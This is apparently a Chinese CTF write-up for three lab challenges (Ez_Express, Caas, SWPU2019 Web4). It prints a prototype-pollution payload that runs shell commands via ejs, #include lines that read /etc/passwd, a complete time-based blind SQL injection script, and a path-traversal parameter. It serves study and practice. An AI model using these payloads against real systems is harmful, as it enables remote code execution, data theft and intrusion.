[GYCTF2020]Ez_Express
F12有提示
下载下来根据提示
在代码中找到
在登录中会的过滤admin但是会小写字母转换为大写字母
利用toUpperCase实现伪造ADMIN登录
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
登录成功之后
就是/action路由里面的
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
可以看到就将提交的数据交给clone处理
const clone = (a) => {
return merge({}, a);
}//很明显的原型链污染
-----------------------------------------------------------------------
知识点
这两位师傅讲的已经很清楚了
初探JavaScript原型链污染 - Escape-w - 博客园 (cnblogs.com)
Express+lodash+ejs: 从原型链污染到RCE - evi0s' Blog
-----------------------------------------------------------------------
最后payload
{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}}
[FireshellCTF2020]Caas
打开是一个编译器
之后会下载一个文件,不太明白什么意思
尝试利用c 语言看看能不能打开文件
看了WP才知道flag应该是以文件形式存在服务器中,要尝试使用#include ''预处理编译报错
尝试包含文件/etc/passwd,构造代码:
#include "/etc/passwd"
#include "/flag"
得到flag
[SWPU2019]Web4
点登陆没反应,注册提示未开发,猜测sql注入
单引号报错,加;之后成功
参考wp是要堆叠注入,并且过滤了很多关键字,需要用十六进制和预处理语句注入。
利用MySql预处理
在遇到堆叠注入时,如果select、rename、alter和handler等语句都被过滤的话,我们可以用MySql预处理语句配合concat拼接来执行sql语句拿flag。
PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字供之后调用
EXECUTE:执行命令
DEALLOCATE PREPARE:释放命令
SET:用于设置变量
这里贴一个师傅写的脚本
#author: c1e4r
import requests
import json
import time
def main():
#题目地址
url = '''http://568215bc-57ff-4663-a8d9-808ecfb00f7f.node3.buuoj.cn/index.php?r=Login/Login'''
#注入payload
payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
flag = ''
for i in range(1,30):
#查询payload
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(0,128):
#将构造好的payload进行16进制转码和json转码
datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
if __name__ == '__main__':
main()
结果glzjin_wants_a_girl_friend.zip
可以下载到源码。代码审计
经过观察发现在
BaseController.php中有任意变量覆盖
继续观察只有在
UserController.php里面可以改变
观察userIndex.php
在这里我们可以将img_file修改为/../flag.php
还需要注意一点需要将r赋值为User/index
才能进入图片显示
payload:
?r=User/Index&img_file=/../flag.php